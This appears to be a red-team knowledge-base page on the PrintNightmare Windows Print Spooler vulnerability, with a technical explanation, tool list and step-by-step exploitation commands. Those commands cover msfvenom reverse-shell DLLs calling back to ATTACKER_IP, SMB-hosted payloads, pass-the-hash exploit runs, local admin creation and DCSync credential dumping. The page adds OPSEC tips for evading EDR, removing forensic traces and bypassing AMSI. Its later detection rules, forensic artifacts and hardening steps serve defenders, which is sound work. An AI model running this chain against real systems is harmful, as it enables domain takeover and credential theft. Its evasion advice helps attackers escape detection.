---
title: "Attack #43 β PrintNightmare (CVE-2021-34527)"
description: "PrintNightmare is a critical RCE vulnerability in the Windows Print Spooler service that allows an authenticated user to execute arbitrary code as SYSTEMβ¦"
category: active-directory
subcategory: "Domain Controller Attacks"
tags: ["active-directory", "credential-access", "privilege-escalation"]
tools: ["Impacket", "Mimikatz", "Metasploit", "Meterpreter", "PowerShell"]
difficulty: advanced
updated: "2026-08-10"
source: "vault:ActiveDirectory/AD-Attack/Category-Five/π΅ Attack #43 β PrintNightmare (CVE-2021-34527).md"
---
# π΅ Attack #43 β PrintNightmare (CVE-2021-34527)
***
## π How It Works
PrintNightmare is a **critical RCE vulnerability** in the Windows Print Spooler service that allows an authenticated user to execute arbitrary code as SYSTEM on any Windows machine with the Print Spooler running β including Domain Controllers. The vulnerability exists in the `RpcAddPrinterDriverEx` function, which doesn't properly validate the caller's permissions before loading a DLL.
> [!info]+ Technical Deep-Dive β RpcAddPrinterDriverEx Privilege Bypass
> 1. The [Windows Print Spooler](https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler) exposes `RpcAddPrinterDriverEx` (MS-RPRN OpNum 89) to allow remote printer driver installation
> 2. The function accepts a `DRIVER_INFO_2` structure containing the path to a DLL file β intended to be a legitimate printer driver
> 3. **The vulnerability**: The function checks `SeLoadDriverPrivilege` but the check is **bypassable** β any authenticated user can call the function when `APD_INSTALL_WARNED_DRIVER` (0x8000) flag is set
> 4. The attacker hosts a malicious DLL on an SMB share accessible from the target
> 5. The target's Print Spooler service loads the DLL **as SYSTEM** β executing arbitrary code with the highest privileges
> 6. *On a DC, SYSTEM-level execution β DCSync (Attack #37) β full domain compromise*
> [!important]+ Two CVEs β RCE vs LPE
> `fas:TriangleExclamation`
> 1. **CVE-2021-1675** (June 2021) β Originally classified as **Local Privilege Escalation (LPE)** only; patched in June 2021 Patch Tuesday
> 2. **CVE-2021-34527** (July 2021) β The **Remote Code Execution (RCE)** variant; the June patch was incomplete and didn't fix the remote vector
> 3. Both exploit the same underlying issue in `RpcAddPrinterDriverEx` but via different attack paths:
> - **LPE (CVE-2021-1675)**: Load malicious DLL from a local path β SYSTEM on the local machine
> - **RCE (CVE-2021-34527)**: Load malicious DLL from a remote SMB share β SYSTEM on the remote machine
> 4. *The July 2021 out-of-band patch (KB5004945) addresses the RCE vector; additional hardening (Point and Print restrictions) was added in August 2021*
***
## βοΈ Prerequisites
| Requirement | Detail |
|---|---|
| **Any domain user credentials** | Authentication required (any domain user, no admin needed) |
| **Print Spooler running on target** | Default enabled on all Windows machines |
| **Target is unpatched** | RCE patched July 2021 (KB5004945); LPE patched June 2021 |
| **SMB share accessible** (RCE) | Attacker must host a DLL on an SMB share reachable from the target |
| **Local file path** (LPE) | For the LPE variant, DLL must be on the local filesystem |
***
## π οΈ Tools
| Tool | Platform | Version | Notes |
|---|---|---|---|
| [CVE-2021-1675.py](https://github.com/cube0x0/CVE-2021-1675) | Linux/Python | cube0x0's fork of Impacket | RCE exploit β requires modified Impacket |
| [printnightmare.py](https://github.com/cube0x0/CVE-2021-1675) | Linux/Python | Python 3 | Alternative script name for the same exploit |
| [SharpPrintNightmare](https://github.com/cube0x0/SharpPrintNightmare) | Windows (.NET) | Latest | C# exploit for C2 `execute-assembly` β both LPE and RCE |
| [CVE-2021-1675.ps1](https://github.com/calebstewart/CVE-2021-1675) | Windows/PowerShell | Latest | PowerShell LPE exploit (`Invoke-Nightmare`) β creates local admin user |
| [Impacket β smbserver.py](https://github.com/fortra/impacket) | Linux | β₯ 0.9.23 | Host malicious DLL on an SMB share |
| [msfvenom](https://www.metasploit.com/) | Linux | Metasploit β₯ 6.0 | Generate malicious DLL payloads (reverse shell, adduser, etc.) |
> [!tip]+ Impacket Version Note
> `fas:Lightbulb`
> 1. cube0x0's exploit requires a **modified version of Impacket** that supports `SMB_DIALECT_30` β the standard Impacket may fail with SMB3 negotiation errors
> 2. Install from cube0x0's fork: `pip install git+https://github.com/cube0x0/impacket`
> 3. Or use the standard Impacket with the `--no-smb3` flag if available in your exploit version
> 4. *As of Impacket 0.12.0+, SMB3 support is native β the fork may no longer be necessary*
***
## β±οΈ Time-to-Execute Estimates
| Operation | Time | Notes |
|---|---|---|
| DLL generation (msfvenom) | **5β10 seconds** | Quick payload compilation |
| SMB server setup | **2β3 seconds** | Start smbserver.py |
| RCE exploitation | **5β15 seconds** | DLL loads as SYSTEM; callback received |
| LPE exploitation (PowerShell) | **3β10 seconds** | Local admin user created |
| Full chain (exploit DC β DCSync) | **30β60 seconds** | SYSTEM on DC β immediate DCSync |
***
## π» Full Commands
### π΄ RCE β Remote Code Execution (CVE-2021-34527)
```bash
# ββ Step 1: Generate malicious DLL payload ββββββββββββββββββββββββββββββββββββ
# Reverse shell DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
-f dll -o evil.dll
# Meterpreter DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
-f dll -o evil.dll
# Add local admin user DLL (custom C code compiled):
# The DLL's DllMain runs: net user hacker P@ss123! /add && net localgroup Administrators hacker /add
```
```bash
# ββ Step 2: Host malicious DLL on SMB share βββββββββββββββββββββββββββββββββββ
smbserver.py share /path/to/dll/ -smb2support
# Share available at: \\ATTACKER_IP\share\evil.dll
```
```bash
# ββ Step 3: Exploit (cube0x0 β Impacket) βββββββββββββββββββββββββββββββββββββ
python3 CVE-2021-1675.py corp.local/low_user:'Password1'@DC01.corp.local \
'\\ATTACKER_IP\share\evil.dll'
# DLL executes as SYSTEM on DC01 β reverse shell or local admin created
# ββ Alternative: printnightmare.py ββββββββββββββββββββββββββββββββββββββββββββ
python3 printnightmare.py corp.local/low_user:'Password1'@DC01.corp.local \
-dll '\\ATTACKER_IP\share\evil.dll'
# ββ With Pass-the-Hash ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
python3 CVE-2021-1675.py corp.local/low_user@DC01.corp.local \
-hashes :aabbccdd11223344 '\\ATTACKER_IP\share\evil.dll'
```
#### SharpPrintNightmare (C# β for C2)
```powershell
# ββ RCE variant via C2 execute-assembly βββββββββββββββββββββββββββββββββββββββ
execute-assembly /path/to/SharpPrintNightmare.exe \\ATTACKER_IP\share\evil.dll \\DC01.corp.local
# ββ LPE variant (local priv esc on current machine) ββββββββββββββββββββββββββ
execute-assembly /path/to/SharpPrintNightmare.exe C:\Temp\evil.dll
```
### π΄ LPE β Local Privilege Escalation (CVE-2021-1675)
```powershell
# ββ PowerShell PoC (Invoke-Nightmare) βββββββββββββββββββββββββββββββββββββββββ
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssword123!"
# Creates local admin user "hacker" via Print Spooler exploitation
# Runs entirely locally β no SMB share needed
# ββ Verify the user was created βββββββββββββββββββββββββββββββββββββββββββββββ
net user hacker
net localgroup Administrators
```
### π΄ Post-Exploitation (After SYSTEM on DC)
```bash
# ββ If you got a SYSTEM shell on a DC, immediately DCSync βββββββββββββββββββββ
# From the SYSTEM shell:
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:corp.local /all /csv
# ββ Or from Linux with the new local admin ββββββββββββββββββββββββββββββββββββ
secretsdump.py corp.local/hacker:'P@ssword123!'@DC01.corp.local \
-just-dc -outputfile domain_dump
```
***
## π― OPSEC Tips
1. **PrintNightmare exploitation is VERY noisy** β the DLL loading generates multiple events (driver installation, service creation, Sysmon image load) and most EDR solutions detect it immediately
2. **Use the LPE variant for lateral movement** when you already have a foothold on a machine β it's less visible than remote RCE because no SMB share access is needed
3. **The SMB share must be accessible from the target** β if outbound SMB is firewalled from the DC, the DLL can't be loaded; consider hosting on an already-compromised internal host
4. **Custom DLLs are stealthier than msfvenom payloads** β msfvenom DLL signatures are well-known; compile a custom DLL with adduser or reverse shell code
5. **Clean up after exploitation** β the printer driver and DLL persist on the target; remove them to reduce forensic evidence
6. **Target workstations, not DCs, when possible** β exploiting a workstation is less monitored than a DC; then use lateral movement to reach the DC
### π OpSec Ranking
| Method | Stealth | Speed | Reliability | Notes |
|---|---|---|---|---|
| LPE (PowerShell Invoke-Nightmare) | π‘ Medium | π’ Fast | π’ High | Local only; detected by PowerShell logging |
| RCE (cube0x0 + msfvenom DLL) | π΄ Low | π’ Fast | π‘ Medium | SMB share + known DLL signature = easy detection |
| RCE (custom compiled DLL) | π‘ Medium | π’ Fast | π‘ Medium | Better than msfvenom but driver install still logged |
| SharpPrintNightmare (C2) | π‘ Medium | π’ Fast | π‘ Medium | In-memory execution avoids disk artifacts |
***
## π‘οΈ Detection β Event IDs
| Event ID | Source | What to Look For |
|---|---|---|
| **808** | PrintService/Admin | Printer driver installation failed/suspicious β DLL load events from Print Spooler |
| **316** | PowerShell | PowerShell script execution β `Invoke-Nightmare` or CVE-2021-1675.ps1 |
| **7045** | System Log | New service/driver installed β Print Spooler loading a new "printer driver" |
| **4688** | Security Log | Process creation from spoolsv.exe β child processes spawned by the malicious DLL |
| **Sysmon 7** | Sysmon | Image loaded β DLL loaded by spoolsv.exe from non-standard path (SMB share or temp directory) |
| **Sysmon 11** | Sysmon | File creation β DLL file written to `C:\Windows\System32\spool\drivers\x64\` |
| **Sysmon 1** | Sysmon | Process creation β cmd.exe or powershell.exe spawned as child of spoolsv.exe |
| **Sysmon 3** | Sysmon | Network connection β spoolsv.exe connecting to attacker SMB share |
### π Sigma Rules
```yaml
# ββ SigmaHQ β PrintNightmare Exploitation (Spooler Child Process) βββββββββββββ
title: PrintNightmare Exploitation β Suspicious Spooler Child Process
id: dca4d40b-printnight-spooler-child
status: stable
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith: '\spoolsv.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
- '\rundll32.exe'
- '\net.exe'
- '\net1.exe'
condition: selection
level: critical
tags:
- attack.execution
- attack.t1210
- cve.2021.34527
```
```yaml
# ββ SigmaHQ β Suspicious DLL Loaded by Spooler βββββββββββββββββββββββββββββββ
title: DLL Loaded by Print Spooler from Non-Standard Path
id: b5c6d7e8-spooler-dll-load
logsource:
product: windows
category: image_load
detection:
selection:
Image|endswith: '\spoolsv.exe'
filter_legitimate:
ImageLoaded|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\SysWOW64\'
condition: selection and not filter_legitimate
level: critical
```
### π‘οΈ EDR-Specific Detections
> [!warning]+ Microsoft Defender for Identity (MDI) / Defender for Endpoint
> 1. **"Suspicious printer driver installation"** β detects `RpcAddPrinterDriverEx` calls from non-admin users
> 2. **"Suspicious DLL loading by spoolsv.exe"** β behavioral detection for Print Spooler loading DLLs from SMB shares or temp directories
> 3. Defender for Endpoint has specific PrintNightmare detections that trigger on both the LPE and RCE variants
> 4. *Microsoft considers this a high-priority detection β Defender updates within 24 hours of CVE disclosure included signatures*
> [!warning]+ CrowdStrike Falcon
> 1. **"PrintNightmare Exploitation Detected"** β high-fidelity behavioral detection for RpcAddPrinterDriverEx exploitation
> 2. **"Malicious DLL Loaded by Spooler Service"** β monitors spoolsv.exe DLL loading from non-standard paths
> 3. Process tree analysis: `spoolsv.exe β cmd.exe` or `spoolsv.exe β rundll32.exe` = critical alert
> [!warning]+ Elastic Security
> 1. Rule: **"PrintNightmare β Suspicious DLL Loaded by Spooler"** β Sysmon Event 7 correlation
> 2. Rule: **"Suspicious Child Process of Spooler Service"** β process creation monitoring
> 3. Rule: **"Remote Printer Driver Installation"** β network-level detection for remote `RpcAddPrinterDriverEx` calls
***
## π¬ Forensic Artifacts
| Artifact | Location | Details |
|---|---|---|
| **Printer driver DLL** | `C:\Windows\System32\spool\drivers\x64\3\` | The malicious DLL is copied to the driver store β persists after exploitation |
| **Event 808** | PrintService/Admin log | Driver installation event with DLL path |
| **Event 7045** | System Log | New service/driver installed β includes driver name |
| **spoolsv.exe child processes** | Event 4688 / Sysmon 1 | cmd.exe, powershell.exe, or other executables spawned by spoolsv.exe |
| **SMB connection** | Sysmon 3 / network capture | spoolsv.exe connecting to attacker's SMB share to load the DLL |
| **New local user** (LPE variant) | `net user` / SAM registry | If Invoke-Nightmare was used, a new local admin account exists |
| **Prefetch** | `C:\Windows\Prefetch\` | SPOOLSV.EXE prefetch file shows loaded DLLs |
| **Registry** | `HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\` | Driver registration entries |
***
> [!important]+ Windows Server Version & Patch Timeline
> 1. **June 2021 (KB5003637)**: CVE-2021-1675 patch β addresses LPE only; RCE still exploitable
> 2. **July 2021 (KB5004945)**: Out-of-band emergency patch for CVE-2021-34527 β addresses RCE; but incomplete β researchers found bypasses
> 3. **August 2021 (KB5005565)**: Additional hardening β `RestrictDriverInstallationToAdministrators` registry key; Point and Print restrictions
> 4. **Server 2012 R2**: Vulnerable; patches available
> 5. **Server 2016**: Vulnerable; patches available; `RestrictDriverInstallationToAdministrators` recommended
> 6. **Server 2019**: Vulnerable; same patch timeline; CVE re-exploitable with Point and Print misconfiguration
> 7. **Server 2022**: Shipped with fixes included; Point and Print restrictions enabled by default
> 8. **Server 2025**: Print Spooler hardened; `RestrictDriverInstallationToAdministrators = 1` by default; Point and Print disabled by default
> 9. *Multiple patch bypasses were discovered after each fix β the definitive mitigation is disabling Print Spooler on servers that don't need it*
***
## π Hardening & Prevention
```powershell
# ββ 1. Disable Print Spooler on DCs and servers (most effective) ββββββββββββββ
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
# ββ 2. GPO β Disable Spooler on server OUs βββββββββββββββββββββββββββββββββββ
# Computer Configuration β Policies β Windows Settings β Security Settings β
# System Services β Print Spooler β Startup Type: Disabled
# ββ 3. Restrict printer driver installation to admins only ββββββββββββββββββββ
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" `
-Name "RestrictDriverInstallationToAdministrators" -Value 1 -Type DWord
# ββ 4. Disable Point and Print restrictions βββββββββββββββββββββββββββββββββββ
# GPO β Computer Configuration β Admin Templates β Printers β
# "Point and Print Restrictions" = Disabled
# Or registry:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" `
-Name "NoWarningNoElevationOnInstall" -Value 0 -Type DWord
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" `
-Name "UpdatePromptSettings" -Value 0 -Type DWord
# ββ 5. Restrict Point and Print to approved servers ββββββββββββββββββββββββββ
# GPO β Computer Configuration β Admin Templates β Printers β
# "Package Point and Print - Approved Servers" = Enabled
# Server list: only legitimate print servers
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint" `
-Name "PackagePointAndPrintServerList" -Value 1 -Type DWord
# ββ 6. Apply all patches βββββββββββββββββββββββββββββββββββββββββββββββββββββ
# June 2021: KB5003637 (LPE fix)
# July 2021: KB5004945 (RCE fix)
# August 2021: KB5005565 (hardening β Point and Print restrictions)
# Verify: Get-HotFix | Where-Object { $_.HotFixID -match 'KB5004945|KB5005565' }
# ββ 7. Monitor spoolsv.exe for suspicious child processes ββββββββββββββββββββ
# Sysmon config:
#
# spoolsv.exe
#
#
# spoolsv.exe
#
```
***
## π§© Troubleshooting
| Error | Cause | Fix |
|---|---|---|
| `STATUS_ACCESS_DENIED` on exploit | Target is patched (July 2021+) | Verify patch status; if patched, this attack path is closed β try other escalation methods |
| DLL not loading β `Path not found` | SMB share not accessible from target or wrong UNC path | Verify `\\ATTACKER_IP\share\evil.dll` is accessible; ensure `smbserver.py` is running with `-smb2support` |
| Exploit succeeds but no callback | DLL payload issue or outbound connection blocked | Test DLL locally first; verify attacker listener is running; check firewall allows outbound from target |
| `Invoke-Nightmare` fails with execution policy | PowerShell constrained language mode or AMSI | Bypass: `powershell -ep bypass`; for AMSI: use in-memory bypass or use the C# variant instead |
| `cube0x0 exploit: SMB3 negotiation failed` | Standard Impacket doesn't support required SMB dialect | Install cube0x0's Impacket fork: `pip install git+https://github.com/cube0x0/impacket` |
| DLL loads but crashes spoolsv.exe | DLL architecture mismatch (x86 vs x64) or bad DLL | Generate x64 DLL: `msfvenom -a x64 ...`; ensure DLL exports `DllMain` correctly |
| Exploit works once but subsequent attempts fail | Spooler service crashed and hasn't restarted | Wait for auto-restart or manually restart: `sc \\DC01 start Spooler` (if you have access) |
| Point and Print bypass doesn't work | August 2021 hardening applied correctly | `RestrictDriverInstallationToAdministrators = 1` blocks all bypasses β this attack path is fully closed |
***
## πΊοΈ MITRE ATT&CK
| Tactic | Technique ID | Sub-technique | Procedure | APT Groups |
|---|---|---|---|---|
| **Privilege Escalation** | [T1068](https://attack.mitre.org/techniques/T1068/) | Exploitation for Privilege Escalation | LPE via CVE-2021-1675 β load malicious DLL as SYSTEM via Print Spooler | Multiple ransomware groups (Magniber, Vice Society) |
| **Lateral Movement** | [T1210](https://attack.mitre.org/techniques/T1210/) | Exploitation of Remote Services | RCE via CVE-2021-34527 β remotely load DLL on target machine as SYSTEM | [Magniber ransomware](https://www.trendmicro.com/en_us/research/21/h/printnightmare-exploited-by-magniber-ransomware.html) |
| **Execution** | [T1569](https://attack.mitre.org/techniques/T1569/) | [.002 β Service Execution](https://attack.mitre.org/techniques/T1569/002/) | Malicious DLL executed as a printer driver service by spoolsv.exe | Chained technique |
> [!tip]+ Real-World Exploitation
> `fas:Lightbulb`
> 1. **Magniber ransomware** β One of the first ransomware families to incorporate PrintNightmare within weeks of disclosure; targeted South Korean organizations
> 2. **Vice Society** β Used PrintNightmare for initial access and lateral movement in education sector attacks
> 3. **CISA Alert AA21-179A** β Emergency alert warning of active PrintNightmare exploitation in the wild
> 4. *PrintNightmare was weaponized faster than almost any other vulnerability in 2021 β within 48 hours of the PoC being accidentally published on GitHub, active exploitation was detected*
***
## π Attack Chain Context
```
[PrintNightmare] βββ RCE as SYSTEM on any Windows host
β
ββββ π₯ CVE-2021-34527 (RCE) + CVE-2021-1675 (LPE)
ββββ π On DC: SYSTEM β DCSync (Attack #37) β full domain compromise
ββββ π On workstation: SYSTEM β credential dumping β lateral movement
ββββ π Related: PrinterBug (Attack #42) β also Print Spooler, but coercion not RCE
ββββ π Multiple incomplete patches β verify ALL patches + registry hardening
ββββ π Defeated by: July 2021 patches + August 2021 hardening, disable Print Spooler
```
***
> β
**Attack #43 β PrintNightmare complete.**